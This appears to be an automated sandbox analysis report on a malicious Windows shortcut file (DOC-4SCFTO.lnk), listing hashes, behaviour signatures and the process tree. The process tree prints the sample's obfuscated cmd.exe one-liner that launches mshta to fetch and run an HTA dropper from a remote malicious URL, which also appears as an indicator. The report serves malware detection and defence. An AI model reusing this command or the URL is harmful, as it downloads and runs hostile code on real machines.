Analysis
- max time kernel
148s - max time network
118s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 12:54
Static task
static1
Behavioral task
behavioral1
Sample
DOC-4SCFTO.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-4SCFTO.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-4SCFTO.lnk
- Size 1KB
- Sample260803-p5geeahg97
- SHA256 d35c7c34d1ba1c02cf35320f5d201a21c98be2be03078a0821a46a1f3103c919
- MD5 e8fb8bd11b75301ca4edda930c5d7293
- SHA1 1094d72066bdac7e28146f3ee332fa2466dbfc06
- SHA512 7863a8c98558db5e1d559b5acc823f8e0ead0b890ff1ada9b46b377d31d72c6364a836e7a202eeea4e609986bbaa31b269f0256be7e7eea43c3495000cbae210
- TLSH T131319E503FFD0614F3F79E7384BB571089BBB8569E20C61D0141464D1472A14E17BFA7
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5820 cmd.exe 1248 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1248 wrote to memory of 5820 1248 cmd.exe 90 PID 5820 wrote to memory of 1480 5820 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-4SCFTO.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1248 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /c "set su=msh&&set yi=ta&&start "" !su!!yi! https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5820 -
C:\Windows\System32\mshta.exemshta https://bo-pdffiler.lat/h/estagio1.php?r=360761F157943⤵PID:1480
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